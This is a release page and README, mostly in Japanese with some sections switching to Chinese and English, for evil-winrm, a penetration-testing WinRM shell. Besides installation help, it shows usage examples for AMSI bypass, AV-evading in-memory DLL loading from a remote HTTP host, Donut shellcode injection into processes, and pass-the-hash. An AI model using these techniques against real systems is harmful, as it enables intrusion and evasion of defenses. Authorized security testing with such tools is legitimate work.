アップデート一覧に戻る
New releaseSep 4, 2026

evil-winrm v4.1

ハッキング/ペネトレーションテストのための究極のWinRMシェル

共有

Evil-WinRM Version-shield Ruby2.3-shield Gem-Version License-shield Docker-shield

ハッキング/ペンテスト用の究極のWinRMシェル

Banner

説明と目的

このシェルは、ハッキング/ペンテスト用の究極のWinRMシェルです。

WinRM(Windows Remote Management)は、WS-Managementプロトコルのマイクロソフト実装です。異なるベンダーのハードウェアとオペレーティングシステムが相互運用できるようにする、SOAPベースの標準プロトコルです。マイクロソフトは、システム管理者の作業を容易にするために、自社のオペレーティングシステムにこれを組み込みました。

このプログラムは、この機能が有効になっている(通常はポート5985)任意のMicrosoft Windows Serverで使用できます。もちろん、使用するための資格情報と権限を持っている場合に限ります。したがって、これはポストエクスプロイテーションのハッキング/ペンテスト段階で使用できると言えます。このプログラムの目的は、ハッキングに便利で使いやすい機能を提供することです。システム管理者が正当な目的で使用することもできますが、その機能のほとんどはハッキング/ペンテスト関連に焦点を当てています。

これは主にWinRM Rubyライブラリに基づいており、バージョン2.0以降、その動作方法が変更されました。現在はWinRMプロトコルを使用する代わりに、PSRP(Powershell Remoting Protocol)を使用して、ランスペースプールの初期化やパイプラインの作成・処理を行っています。

機能

  • LinuxおよびWindowsクライアントシステムに対応
  • Powershellスクリプトをメモリにロード
  • 一部のAVを回避してdllファイルをメモリにロード
  • 一部のAVを回避してC#(C Sharp)アセンブリをメモリにロード
  • 素晴らしいdonutテクニックで生成されたx64ペイロードをロード
  • AVシグネチャを回避するための動的AMSIバイパス
  • Pass-the-hashサポート
  • ccacheおよびkirbiファイルを含むKerberos認証サポート
  • SSLおよび証明書サポート
  • 進行状況バーを表示しながらファイルをアップロードおよびダウンロード
  • 権限なしでリモートマシンのサービスを一覧表示
  • コマンド履歴
  • WinRMコマンド補完
  • ローカルファイル/ディレクトリ補完
  • リモートパス(ファイル/ディレクトリ)補完(オプションで無効化可能)
  • プロンプトと出力メッセージの色付け(オプションで無効化可能)
  • オプションのロギング機能
  • Dockerサポート(Dockerhubでプリビルドイメージが利用可能)
  • Ctrl+Cによる誤ったシェル終了を防ぐトラップキャプチャ
  • 正当なWindowsデフォルトを使用したカスタマイズ可能なユーザーエージェント
  • ETW(Windows用イベントトレーシング)バイパス

ヘルプ```

Usage: evil-winrm -i IP -u USER [-s SCRIPTS_PATH] [-e EXES_PATH] [-P PORT] [-a USERAGENT] [-p PASS] [-H HASH] [-U URL] [-S] [-c PUBLIC_KEY_PATH ] [-k PRIVATE_KEY_PATH ] [-r REALM] [-K TICKET_FILE] [--spn SPN_PREFIX] [-l] -S, --ssl Enable ssl -c, --pub-key PUBLIC_KEY_PATH Local path to public key certificate -k, --priv-key PRIVATE_KEY_PATH Local path to private key certificate -r, --realm DOMAIN Kerberos auth, it has to be set also in /etc/krb5.conf file using this format -> CONTOSO.COM = { kdc = fooserver.contoso.com } -K, --ccache TICKET_FILE Path to Kerberos ticket file (ccache or kirbi format, auto-detected) -s, --scripts PS_SCRIPTS_PATH Powershell scripts local path --spn SPN_PREFIX SPN prefix for Kerberos auth (default HTTP) -e, --executables EXES_PATH C# executables local path -i, --ip IP Remote host IP or hostname. FQDN for Kerberos auth (required) -U, --url URL Remote url endpoint (default /wsman) -u, --user USER Username (required if not using kerberos) -p, --password PASS Password -H, --hash HASH NTHash -P, --port PORT Remote host port (default 5985) -a, --user-agent Specify connection user-agent (default Microsoft WinRM Client) -V, --version Show version -n, --no-colors Disable colors -N, --no-rpath-completion Disable remote path completion -l, --log Log the WinRM session -h, --help Display this help message

## 要件
Ruby 2.3以上が必要です。また、いくつかのRuby gemも必要です: `winrm >=2.3.7`、`winrm-fs >=1.3.2`、`stringio >=0.0.2`、`logger >= 1.4.3`、`fileutils >= 0.7.2`、`readline ~> 0.0.4`、`readline-ext ~> 0.2.0`。
インストール方法(4種類あります)によっては、これらのインストールを手動で行う必要がある場合があります。

Kerberos認証でのみ使用されるもう1つの重要な要件は、ネットワーク認証に使用されるKerberosパッケージをインストールすることです。
Debianベースの一部のLinux(Kali、Parrotなど)では、これは`krb5-user`と呼ばれます。BlackArchでは`krb5`と呼ばれ、他のLinuxディストリビューションでは異なる名前になる可能性があります。

リモートパス補完機能には、ネイティブの`readline-ext`バインディングが必要です。これはEvil-WinRMの依存関係として自動的にインストールされます。一部のシステムでは、これをコンパイルするために追加の開発パッケージが必要です。詳細については[以下のセクション](#Remote-path-completion)を確認してください。

## インストールとクイックスタート(4つの方法)

### 方法1. Ruby gemとして直接インストール(依存関係はシステムに自動的にインストールされます)
 - ステップ1. インストールします(依存関係は自動的にインストールされます): ```gem install evil-winrm```
 - ステップ2. 完了です。起動するだけです!```
evil-winrm  -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'

方法2:通过Git克隆并在系统上手动安装依赖

  • 步骤1:手动安装依赖:sudo gem install winrm winrm-fs stringio logger fileutils readline readline-ext
  • 步骤2:克隆仓库:git clone https://github.com/Hackplayers/evil-winrm.git
  • 步骤3:准备就绪。直接启动即可!``` cd evil-winrm && ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'
### 方法3. bundlerの使用(システムには依存関係をインストールせず、evil-winrmを使用するだけ)
 - ステップ1. bundlerをインストール: `gem install bundler`
 - ステップ2. リポジトリをクローン: `git clone https://github.com/Hackplayers/evil-winrm.git`
 - ステップ3. bundlerで依存関係をインストール: `cd evil-winrm && bundle install --path vendor/bundle`
 - ステップ4. bundlerで起動:```
bundle exec evil-winrm.rb -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'

方法4. 使用Docker

  • 步骤1. 基于已构建的镜像启动Docker容器:``` docker run --rm -ti --name evil-winrm -v /home/foo/ps1_scripts:/ps1_scripts -v /home/foo/exe_files:/exe_files -v /home/foo/data:/data oscarakaelvis/evil-winrm -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/ps1_scripts/' -e '/exe_files/'
## ドキュメント

### 平文パスワード
パスワードを平文で記述したくない場合は、任意で `-p` 引数を省略できます。その場合、パスワードは表示されないようにプロンプトで入力が求められます。

### IPv6
IPv6を使用するには、アドレスを /etc/hosts に追加する必要があります。`-i` 引数の後にIPアドレスではなく、設定済みのホスト名を指定してください。

### 基本コマンド
 - **upload**: ローカルファイルはタブキーで自動補完できます。
   - 使用法: `upload local_filename` または `upload local_filename destination_filename`
 - **download**:
   - 使用法: `download remote_filename` または `download remote_filename destination_filename`

 __パスに関する注意事項(upload/download)__:
   相対パスは download/upload では使用できません。カレントディレクトリのファイル名か絶対パスを使用してください。
   Docker環境でEvil-WinRMを使用している場合は、すべてのローカルパスが `/data` にある必要があり、ダウンロードしたファイルにアクセスしたり、ローカルホストOSからファイルをアップロードできるように、それをボリュームとしてマッピングしていることを確認してください。

 - **services**: 各サービスに対して、あなたのアカウントに権限があるかどうかを表示して、すべてのサービスを一覧表示します。この機能を使用するのに管理者権限は必要ありません。
 - **menu**: 以下で説明する `Invoke-Binary`、`Dll-Loader`、`Donut-Loader` 関数を読み込みます。ps1が読み込まれると、そのすべての関数が表示されます。
 - **clear** または **cls**: ターミナル画面をクリアします。画面をクリアするには `Ctrl+L` キーボードショートカットも使用できます。
 - **exit** または **quit**: Evil-WinRMセッションを終了します。`Ctrl+D` キーボードショートカットも使用できます。```
*Evil-WinRM* PS C:\> menu

   ,.   (   .      )               "            ,.   (   .      )       .
  ("  (  )  )'     ,'             (     '    ("     )  )'     ,'   .  ,)
.; )  ' (( (" )    ;(,      .     ;)  "  )"  .; )  ' (( (" )   );(,   )((
_".,_,.__).,) (.._( ._),     )  , (._..( '.._"._, . '._)_(..,_(_".) _( _')
\_   _____/__  _|__|  |    ((  (  /  \    /  \__| ____\______   \  /     \
 |    __)_\  \/ /  |  |    ;_)_') \   \/\/   /  |/    \|       _/ /  \ /  \
 |        \\   /|  |  |__ /_____/  \        /|  |   |  \    |   \/    Y    \
/_______  / \_/ |__|____/           \__/\  / |__|___|  /____|_  /\____|__  /
        \/                               \/          \/       \/         \/

          By: CyberVaca, OscarAkaElvis, Jarilaos, Arale61 @Hackplayers

[+] Dll-Loader
[+] Donut-Loader
[+] Invoke-Binary
[+] Bypass-4MSI
[+] services
[+] upload
[+] download
[+] clear
[+] cls
[+] menu
[+] exit

PowerShellスクリプトの読み込み

  • ps1ファイルを読み込むには、ファイル名を入力するだけです(タブによるオートコンプリート対応)。スクリプトは-s引数で指定したパスに置かれている必要があります。再度menuと入力すると、読み込まれた関数が表示されます。非常に大きなファイルは読み込みに時間がかかる場合があります。``` Evil-WinRM PS C:> PowerView.ps1 Evil-WinRM PS C:> menu

    ,. ( . ) " ,. ( . ) . (" ( ) )' ,' ( ' (" ) )' ,' . ,) .; ) ' (( (" ) ;(, . ;) " )" .; ) ' (( (" ) );(, )(( ".,,.).,) (..( .), ) , (...( '.."., . '.)(..,(".) ( ') _ / _|| | (( ( / \ / _| _ \ /
    | __)
    \ / / | | ;
    )') \ // / |/ | / / \ /
    | \ /| | |
    /
    / \ /| | | \ | / Y
    /
    _____ / _/ |__|
    / _/\ / ||| /__| /__| / / / / / /

       By: CyberVaca, OscarAkaElvis, Jarilaos, Arale61 @Hackplayers
    

[+] Add-DomainAltSecurityIdentity [+] Add-DomainGroupMember [+] Add-DomainObjectAcl [+] Add-RemoteConnection [+] Add-Win32Type [+] Convert-ADName [+] Convert-DNSRecord [+] ConvertFrom-LDAPLogonHours [+] ConvertFrom-SID [+] ConvertFrom-UACValue [+] Convert-LDAPProperty [+] Convert-LogonHours [+] ConvertTo-SID [+] Dll-Loader [+] Donut-Loader [+] Export-PowerViewCSV [+] field [+] Find-DomainLocalGroupMember

### 高度なコマンド
- Invoke-Binary: .Netアセンブリをメモリ内で実行できるようにします。名前はタブキーを使用して自動補完できます。exeファイルの引数はカンマ区切りで渡すことができます。例: `Invoke-Binary /opt/csharp/Binary.exe 'param1, param2, param3'`。実行可能ファイルは、`-e`引数で設定されたパスに存在している必要があります。```
*Evil-WinRM* PS C:\> Invoke-Binary
.SYNOPSIS
    Execute binaries from memory.
    PowerShell Function: Invoke-Binary
    Author: Luis Vacas (CyberVaca)

    Required dependencies: None
    Optional dependencies: None
.DESCRIPTION

.EXAMPLE
    Invoke-Binary /opt/csharp/Watson.exe
    Invoke-Binary /opt/csharp/Binary.exe param1,param2,param3
    Invoke-Binary /opt/csharp/Binary.exe 'param1, param2, param3'
    Description
    -----------
    Function that execute binaries from memory.

*Evil-WinRM* PS C:\> Invoke-Binary /opt/csharp/Rubeus.exe

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.0


 Ticket requests and renewals:


  • Dll-Loader: DLLライブラリをメモリ内にロードできます。これは [Reflection.Assembly]::Load([IO.File]::ReadAllBytes("pwn.dll")) と同等です。

    DLLファイルはSMB、HTTP、またはローカルでホストできます。ロードされたら menu と入力すると、すべての関数をオートコンプリートできます。``` Evil-WinRM PS C:> Dll-Loader .SYNOPSIS dll loader. PowerShell Function: Dll-Loader Author: Hector de Armas (3v4Si0N)

    Required dependencies: None Optional dependencies: None .DESCRIPTION . .EXAMPLE Dll-Loader -smb -path \192.168.139.132\share\myDll.dll Dll-Loader -local -path C:\Users\Pepito\Desktop\myDll.dll Dll-Loader -http -path http://example.com/myDll.dll

    Description

    Function that loads an arbitrary dll

Evil-WinRM PS C:> Dll-Loader -http http://10.10.10.10/SharpSploit.dll [+] Reading dll by HTTP [+] Loading dll... Evil-WinRM PS C:\Users\test\Documents> menu

[... Snip ...]

Evil-WinRM PS C:> [SharpSploit.Enumeration.Host]::GetProcessList()

Pid : 0 Ppid : 0 Name : Idle Path : SessionID : 0 Owner : Architecture : x64

- Donut-Loader: 素晴らしい [donut] テクニックで生成された x64 ペイロードを注入できます。payload.bin をエンコードする必要はなく、生成して注入するだけです!```
*Evil-WinRM* PS C:\> Donut-Loader
.SYNOPSIS
    Donut Loader.
    PowerShell Function: Donut-Loader
    Author: Luis Vacas (CyberVaca)
    Based code: TheWover

    Required dependencies: None
    Optional dependencies: None
.DESCRIPTION

.EXAMPLE
    Donut-Loader -process_id 2195 -donutfile /home/cybervaca/donut.bin
    Donut-Loader -process_id (get-process notepad).id -donutfile /home/cybervaca/donut.bin

    Description
    -----------
    Function that loads an arbitrary donut :D

この donut-maker を使用すると、Windows を使用していない場合でも payload.bin を生成できます。 このスクリプトは、Marcello Salvati(byt3bl33d3r)が作成した Python モジュールを使用しています。pip でインストールできます:`pip3 install donut-shellcode```` python3 donut-maker.py -i Covenant.exe


.'/,-Y" "-. l.Y ^. /\ __ Donuts! i /" "
| /" "\ o ! l ] o !
./ \ _ _ .
__./ "

X / \ _./ ( \ . ..--" ~-. Z,-- /
__. ( / ______) \ l /-----
" / Y \ / | "x
.^ |
j Y

[+] Donut generated successfully: payload.bin

- Bypass-4MSI: AMSI 保護をパッチします。```
*Evil-WinRM* PS C:\> #amsiscanbuffer
At line:1 char:1
+ #amsiscanbuffer
+ ~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
    + CategoryInfo          : ParserError: (:) [Invoke-Expression], ParseException
    + FullyQualifiedErrorId : ScriptContainedMaliciousContent,Microsoft.PowerShell.Commands.InvokeExpressionCommand
*Evil-WinRM* PS C:\>
*Evil-WinRM* PS C:\> Bypass-4MSI
[+] Success!

*Evil-WinRM* PS C:\> #amsiscanbuffer
*Evil-WinRM* PS C:\>

Kerberos

  • まず、DCと日付を同期する必要があります: rdate -n <dc_ip>

  • チケットを生成する方法はいくつかあります:

    • impacketのticketer.pyを使用する
    • RubeusまたはMimikatzを使用してkirbiチケットを取得する(ccacheへの自動変換がサポートされています)
  • チケットファイルを追加します。3つの方法があります:

    export KRB5CCNAME=/foo/var/ticket.ccache

    cp ticket.ccache /tmp/krb5cc_0

    -Kパラメータを使用する: evil-winrm -i hostname -r DOMAIN.COM -K /path/to/ticket.ccache または evil-winrm -i hostname -r DOMAIN.COM -K /path/to/ticket.kirbi

    -Kを使用する場合、ツールは自動的に以下を実行します:

    • チケットの形式(ccacheまたはkirbi)を検出する
    • 必要に応じてkirbiチケットをccache形式に変換する(ticket_converter.pyまたはimpacket-ticketConverterが必要)
    • ファイルが存在し、読み取り可能であることを検証する
    • KRB5CCNAME環境変数を設定する
    • Kerberosとの互換性を高めるために、IPアドレスをFQDNに解決する
  • /etc/krb5.confにレルムを追加します(Linuxの場合)。この形式を使用することが重要です: ``` CONTOSO.COM = { kdc = fooserver.contoso.com }

  • Kerberos チケットを klist で確認する

  • チケットを削除するには kdestroy を使用する

  • Kerberos の詳細については、この [チートシート] を参照してください

リモートパス補完

この機能には、ネイティブの readline-ext バインディングが必要です。Evil-WinRM はこれを依存関係として宣言しているため、RubyGems または Bundler を使用する際に自動的にインストールされます。ネイティブ拡張をビルドできない場合、この機能は動作しません(警告が表示されます)。

Ruby 3.3+ の注意: ext/readline は Ruby 3.3 でソースから削除されました(Feature #19616)。そのため、以下の方法 1 は Ruby 3.3 以降では使用できません。Debian ベースのシステムでは、Evil-WinRM またはその依存関係をインストールする前に、必要な開発パッケージをインストールしてください。``` sudo apt install libreadline-dev

`readline-ext` 依存関係により、`require 'readline'` は `reline` の代わりに GNU Readline を読み込みます。`reline` には、Evil-WinRM がチェックするメソッドである `quoting_detection_proc` がありません。以下のメソッドは、古い Ruby バージョンを対象としており、互換性のために保持されています。

#### 方法 1(必要な拡張機能をコンパイルする)

この方法では、必要な readline 機能を備えた Ruby をコンパイルしますが、システム上のデフォルトの Ruby バージョンを変更せずにライブラリのみを使用します。そのため、この方法が最も推奨されます。

Debian ベースのシステムに Ruby 2.7.3 がインストールされていると仮定しましょう。```
# Install needed package
apt install libreadline-dev

# Check your ruby version
ruby --version
ruby 2.7.3p183 (2021-04-05 revision 6847ee089d) [x86_64-linux-gnu]

# Download ruby source code (2.7.3 in this case):
wget https://ftp.ruby-lang.org/pub/ruby/2.7/ruby-2.7.3.tar.gz

# Extract source code
tar -xf ruby-2.7.3.tar.gz

# Compile the readline extension:
cd ruby-2.7.3/ext/readline
ruby ./extconf.rb
make

# Patch current version of the ruby readline extension:
sudo cp /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so.bk
sudo cp -f readline.so /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so

方法2(使用rbenv仅安装ruby以用于evil-winrm)

假设你使用的是基于Debian的Linux系统,并且使用zsh,同时希望安装ruby 2.7.1。这个脚本将自动完成该过程。你需要从evil-winrm.rb和Gemfile所在的同一目录(例如,git clone后创建的evil-winrm目录)启动它:``` #!/usr/bin/env zsh

Uninstall possible current installed versions

sudo gem uninstall evil-winrm -q gem uninstall evil-winrm -q

Install rbenv

sudo apt install rbenv

Config rbenv on zshrc config file

echo 'export PATH="$HOME/.rbenv/bin:$PATH"' >> ~/.zshrc echo 'eval "$(rbenv init -)"' >> ~/.zshrc source ~/.zshrc

Install ruby with readline support

export RUBY_CONFIGURE_OPTS=--with-readline-dir="/usr/include/readline" rbenv install 2.7.1

Create file '.ruby-version' to set right ruby version

rbenv local 2.7.1

Install local gems

gem install bundler bundle install

current_evwr="$(pwd)/evil-winrm.rb"

sudo bash -c "cat << 'EOF' > /usr/bin/evil-winrm #!/usr/bin/env sh "${current_evwr}" "$@" EOF"

sudo chmod +x /usr/bin/evil-winrm

Then you can safely launch evil-winrm using the new installed ruby with the required readline support from any location.

#### Method 3 (compile entire ruby)

If you want to compile it yourself, you can follow these steps. Let's suppose that you want ruby 2.7.3:```
wget -O ruby-install-0.8.1.tar.gz https://github.com/postmodern/ruby-install/archive/v0.8.1.tar.gz
tar -xzvf ruby-install-0.8.1.tar.gz
cd ruby-install-0.8.1/
sudo make install
ruby-install ruby 2.7.3 -- --with-readline-dir=/usr/include/readline

システムによっては、/opt/rubies/ruby-2.7.3 または ~/.rubies/ruby-2.7.3 にインストールされます。

次に、新しくインストールしたRubyバージョン用にevil-winrmの依存関係をインストールするだけです。最も簡単な方法は、コマンド /opt/rubies/ruby-2.7.3/bin/gem install evil-winrm を実行することです。使用するgemコマンドは、新しいRubyインストールに属している必要があります。

その後、新しくインストールしたRubyを安全に起動してevil-winrmで使用できます: /opt/rubies/ruby-2.7.3/bin/ruby ./evil-winrm.rb -h

この新しいRubyはevil-winrmの起動のみに使用することをお勧めします。システムのデフォルトRubyとして設定する場合は、依存gemがインストールされていないことに注意してください。Metasploitなどの一部のRubyベースのソフトウェアは、依存関係の問題により正しく起動できない可能性があります。

ロギング

この機能は、$HOMEディレクトリにファイルを作成し、WinRMセッションのコマンドと出力を保存します。

コマンド履歴

Evil-WinRMは、ホストとユーザーの各組み合わせに対して永続的なコマンド履歴を維持します。履歴は ~/.evil-winrm/history/ ディレクトリに {host}_{user}.hist という名前のファイルで保存されます。

以前にアクセスしたマシンに接続すると、矢印キー(上/下)を使用して以前のコマンドを移動できます。履歴は各コマンド実行後に自動的に保存され、同じホストに同じユーザーで再接続すると読み込まれます。

既知の問題。OpenSSLエラー

以下のようなエラーが発生することがあります:``` Error: An error of type OpenSSL::Digest::DigestError happened, message is Digest initialization failed: initialization error

このエラーは、OpenSSL 3.0 がこのツールの実行に必要な MD4 などのレガシー関数を廃止したために発生します。この状況に対処するための既存の回避策はいくつかあります。

 - システムを最新版に更新します。おそらく、この問題は新しい OpenSSL バージョンを使用している最新の Ruby バージョンで自動的に修正されています。
 - OpenSSL 3.0 の代わりに古い OpenSSL 1.x を使用して独自の Ruby をコンパイルするか、問題のある 3.0 バージョンを避けるために OpenSSL > 3.0 を使用してコンパイルします。
 - 最も簡単な方法です。`/etc/ssl/openssl.cnf` 設定ファイルを編集し、設定が次のようになっていることを確認します。```
openssl_conf = openssl_init

[openssl_init]
providers = provider_sect

[provider_sect]
default = default_sect
legacy = legacy_sect

[default_sect]
activate = 1

[legacy_sect]
activate = 1
  • 最後の回避策の代替として、システムがOpenSSLの代わりにLibreSSLを使用している場合、またはシステム設定ファイルを変更したくない場合は、上記の内容を含む簡単なファイルを作成してください。任意の名前を使用できます。例えば evil-tls.conf です。その後、環境変数をエクスポートしてシステムにその使用を強制します: export OPENSSL_CONF="/path/to/evil-tls.conf"。そしてツールを起動すると、エラーは消えます。

変更履歴:

変更履歴とプロジェクトの変更点はこちらで確認できます: CHANGELOG.md

クレジット:

スタッフ:

謝辞:

  • 個人的なサポートをしてくれた Vis0r に感謝します。
  • オリジナルコードを提供してくれた Alamot に感謝します。
  • 素晴らしいdllローダーを提供してくれた 3v4Si0N に感謝します。
  • rubyライブラリの全貢献者である WinRb に感謝します。
  • 素晴らしいdonutツールを提供してくれた TheWover に感謝します。
  • donutペイロードを作成するためのpythonライブラリを提供してくれた byt3bl33d3r に感謝します。
  • 新機能へのインスピレーションを提供してくれた Sh11td0wn に感謝します。
  • ロギング機能の追加を支援してくれた Borch に感謝します。
  • Rubyバージョン間でのツール保守を支援してくれた noraj に感謝します。
  • このソフトウェアに彼らのgithub上で場所を提供してくれた Hackplayers に感謝します。

免責事項とライセンス

このスクリプトはLGPLv3+の下でライセンスされています。ライセンスへの直接リンク: License

Evil-WinRMは、許可されたペネトレーションテストおよび/または非営利の教育目的のみに使用されるべきです。 このソフトウェアの誤用については、作者または他の協力者は責任を負いません。 自己のサーバーおよび/またはサーバー所有者の許可を得て使用してください。

カテゴリ